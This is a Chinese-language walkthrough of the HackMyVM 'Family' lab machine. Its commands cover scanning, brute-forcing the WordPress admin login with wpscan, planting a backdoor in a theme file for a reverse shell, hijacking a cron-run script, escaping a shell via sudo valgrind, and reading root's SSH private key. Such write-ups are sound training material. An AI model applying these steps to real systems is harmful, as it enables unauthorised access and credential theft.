靶机信息
代码语言：javascript复制靶机地址：https://hackmyvm.eu/machines/machine.php?vm=Family名称：(家庭)
难度：中等
创作者：cromiphi
发布日期：2021-04-30
目标：user.txt和falg.txt，root权限
搭建靶机
下载完Family.ova后，使用Oracle VM VirtualBox导入即可
导入时注意！！不要勾上USB控制器，不然会出错
导入完成后，直接启动即可，就可以开始靶机之旅
实验环境
代码语言：javascript复制攻击机：VMware Kali 192.168.31.185
目标机：VirtualBox Debian IP自动获取信息收集
扫描局域网内的靶机IP地址
代码语言：javascript复制nmap -sn 192.168.31.0/24端口扫描，扫描目标机器所开放的服务
代码语言：javascript复制nmap -A -p- 192.168.31.214扫描到22(SSH)、80(HTTP)两个端口，使用火狐浏览器访问80端口，http://192.168.2.214
是个wordpress，继续访问http://192.168.31.214/wordpress/，右击查看源码
本机加个family的hosts再继续访问
目录扫描，扫描一些敏感文件之类的，使用gobuster来扫描
代码语言：javascript复制gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -u http://family/wordpress/ -x html,php,txt -t 150
渗透测试
使用 wpscan 扫描 wordpress，没有发现可用的
代码语言：javascript复制wpscan --url http://family/wordpress/使用 wpscan来爆破用户名
代码语言：javascript复制wpscan --url http://family/wordpress/ --enumerate u发现一个admin
使用 wpscan来爆破admin用户的密码
代码语言：javascript复制wpscan --url http://family/wordpress/ -P /usr/share/wordlists/rockyou.txt -U admin
访问http://family/wordpress/wp-login.php，输入账号密码，登录后台
通过修改模板写入后门，访问文件即可获取反弹shell
访问404页面http://family/wordpress/wp-content/themes/twentytwentyone/404.php
新开一个终端页面开启监听
代码语言：javascript复制nc -lvnp 6666
检查home，发现有3个用户
继续寻找一些有用的资源，发现了father用户的密码
新开一个终端页面来登录father用户
代码语言：javascript复制ssh father@192.168.31.214
id
cd /home
ls -al发现/home/mother 属于组father
上传pspy64来查看进程
代码语言：javascript复制wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
chmod x pspy64
./pspy64发现/bin/sh -c python ~/check.py每一分钟就执行一次
这样就可以在 /home/mother/check.py 中编写一些反向shell代码，等一分钟后就可以得到mother用户的反向shell
新开一个终端页面开启监听
代码语言：javascript复制nc -lvnp 5555
检查用户mother用户的权限，发现可以以用户baby运行二进制valgrind
代码语言：javascript复制sudo -l
执行以下命令，得到baby用户的shell
代码语言：javascript复制sudo -u baby valgrind /bin/bash
/bin/bash -i
拿到user.txt的flag
再次检查baby用户的权限
代码语言：javascript复制sudo -l
查看root的ssh密钥
代码语言：javascript复制sudo cat /root/.ssh/id_rsa
将ssh密钥保存下来，通过ssh密钥来提权
新开一个终端页面来登录root
代码语言：javascript复制chmod 600 id_rsa
ssh -i id_rsa root@192.168.31.214
发现一登录就会退出，因为 /root/.ssh/authorized_keys 执行 /root/troll.sh，它就会立即退出
现在要使shell代码不退出，需要将终端尺寸变小，使“more”无法显示全部信息再通过!/bin/bash来转义
代码语言：javascript复制ssh -i id_rsa root@192.168.31.214
!/bin/bash
成功获取到root权限，拿到flag
代码语言：javascript复制声明：请勿用作违法用途，请在授权情况下使用
